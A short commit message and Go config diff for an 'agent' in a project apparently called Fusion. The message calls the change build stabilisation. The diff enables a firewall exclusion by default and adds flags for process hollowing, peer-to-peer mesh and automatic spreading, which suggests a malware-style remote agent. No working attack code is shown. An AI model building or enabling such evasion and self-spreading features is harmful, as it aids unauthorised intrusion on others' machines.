Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

agent/config/builtin.go

@@ -36,8 +36,12 @@ func GetBuiltinConfig() BuiltinConfig {
 		SelfHealing:         true,
 		FileLogging:         true,
 		StealthMode:         false,
+		FirewallExclusion:   true,
 		AIEnabled:           false,
 		AIOllamaEndpoint:    "http://localhost:11434",
 		AIModel:             "llama3.2",
+		ProcessHollowing:    false,
+		MeshP2P:             false,
+		AutoSpread:          false,
 	}
 }